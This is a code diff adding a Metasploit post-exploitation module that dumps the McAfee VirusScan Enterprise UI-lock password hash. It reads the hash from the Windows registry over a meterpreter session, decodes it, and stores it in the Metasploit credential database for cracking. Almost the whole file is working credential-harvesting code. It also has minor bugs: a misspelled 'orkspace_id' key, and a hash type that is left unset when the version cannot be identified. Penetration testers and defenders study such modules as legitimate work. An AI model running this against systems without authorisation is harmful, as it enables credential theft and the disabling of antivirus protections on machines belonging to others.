|
| 1 | +## |
| 2 | +# This module requires Metasploit: http://metasploit.com/download |
| 3 | +# Current source: https://github.com/rapid7/metasploit-framework |
| 4 | +## |
| 5 | + |
| 6 | +require 'msf/core' |
| 7 | +require 'rex' |
| 8 | +require 'msf/core/auxiliary/report' |
| 9 | +require 'rex/proto/rfb' |
| 10 | + |
| 11 | +class Metasploit3 < Msf::Post |
| 12 | + |
| 13 | + include Msf::Post::Windows::Registry |
| 14 | + include Msf::Auxiliary::Report |
| 15 | + include Msf::Post::Windows::UserProfiles |
| 16 | + |
| 17 | + def initialize(info={}) |
| 18 | + super( update_info( info, |
| 19 | + 'Name' => 'McAfee Virus Scan Enterprise Password Hashes Dump', |
| 20 | + 'Description' => %q{ This module extracts the password |
| 21 | + hash from McAfee Virus Scan Enterprise used to lock down the user interface. |
| 22 | + Credits: Maurizio inode Agazzini}, |
| 23 | + 'License' => MSF_LICENSE, |
| 24 | + 'Author' => [ 'Mike Manzotti <michelemanzotti[at]gmail.com>'], |
| 25 | + 'Platform' => [ 'win' ], |
| 26 | + 'SessionTypes' => [ 'meterpreter' ] |
| 27 | + )) |
| 28 | + |
| 29 | + end |
| 30 | + |
| 31 | + def run |
| 32 | + print_status("Checking McAfee password hash on #{sysinfo['Computer']} ...") |
| 33 | + |
| 34 | + # Checking if McAfee 64bit can be found in the registry keys |
| 35 | + check_reg = 'HKLM\\Software\\Wow6432Node\\McAfee\\DesktopProtection' |
| 36 | + subkeys = registry_enumkeys(check_reg) |
| 37 | + if subkeys.nil? or subkeys.empty? |
| 38 | + |
| 39 | + # Checking for McAfee 32bit |
| 40 | + check_reg = 'HKLM\\Software\\McAfee\\DesktopProtection' |
| 41 | + subkeys = registry_enumkeys(check_reg) |
| 42 | + if subkeys.nil? or subkeys.empty? |
| 43 | + print_error ("McAfee Not Installed or No Permissions to RegKey") |
| 44 | + return |
| 45 | + end |
| 46 | + end |
| 47 | + |
| 48 | + mcafee_hash = registry_getvaldata(check_reg, "UIPEx") |
| 49 | + if mcafee_hash == nil or mcafee_hash == "" |
| 50 | + print_error ("Could not find McAfee password hash") |
| 51 | + return |
| 52 | + else |
| 53 | + #Base64 decode mcafee_hash |
| 54 | + mcafee_version = registry_getvaldata(check_reg, "szProductVer") |
| 55 | + if mcafee_version.split(".")[0] == "8" |
| 56 | + mcafee_hash = Rex::Text.to_hex(Rex::Text.decode_base64(mcafee_hash),"") |
| 57 | + print_good("McAfee v8 password hash => #{mcafee_hash}"); |
| 58 | + hashtype = "dynamic_1405" |
| 59 | + elsif mcafee_version.split(".")[0] == "5" |
| 60 | + print_good("McAfee v5 password hash => #{mcafee_hash}"); |
| 61 | + hashtype = "md5u" |
| 62 | + else |
| 63 | + print_status("Could not identify the version of McAfee - Assuming v8") |
| 64 | + end |
| 65 | + |
| 66 | + |
| 67 | + # report |
| 68 | + service_data = { |
| 69 | + address: ::Rex::Socket.getaddress(session.sock.peerhost, true), |
| 70 | + port: rport, |
| 71 | + service_name: 'McAfee', |
| 72 | + protocol: 'tcp', |
| 73 | + workspace_id: myworkspace_id |
| 74 | + } |
| 75 | + |
| 76 | + # Initialize Metasploit::Credential::Core object |
| 77 | + credential_data = { |
| 78 | + post_reference_name: self.refname, |
| 79 | + origin_type: :session, |
| 80 | + private_type: :password, |
| 81 | + private_data: mcafee_hash, |
| 82 | + session_id: session_db_id, |
| 83 | + jtr_format: hashtype, |
| 84 | + orkspace_id: myworkspace_id, |
| 85 | + username: "null" |
| 86 | + } |
| 87 | + |
| 88 | + # Merge the service data into the credential data |
| 89 | + credential_data.merge!(service_data) |
| 90 | + |
| 91 | + # Create the Metasploit::Credential::Core object |
| 92 | + credential_core = create_credential(credential_data) |
| 93 | + |
| 94 | + # Assemble the options hash for creating the Metasploit::Credential::Login object |
| 95 | + login_data ={ |
| 96 | + core: credential_core, |
| 97 | + status: Metasploit::Model::Login::Status::UNTRIED |
| 98 | + } |
| 99 | + |
| 100 | + # Merge in the service data and create our Login |
| 101 | + login_data.merge!(service_data) |
| 102 | + login = create_credential_login(login_data) |
| 103 | + |
| 104 | + end |
| 105 | + end |
| 106 | +end |
0 commit comments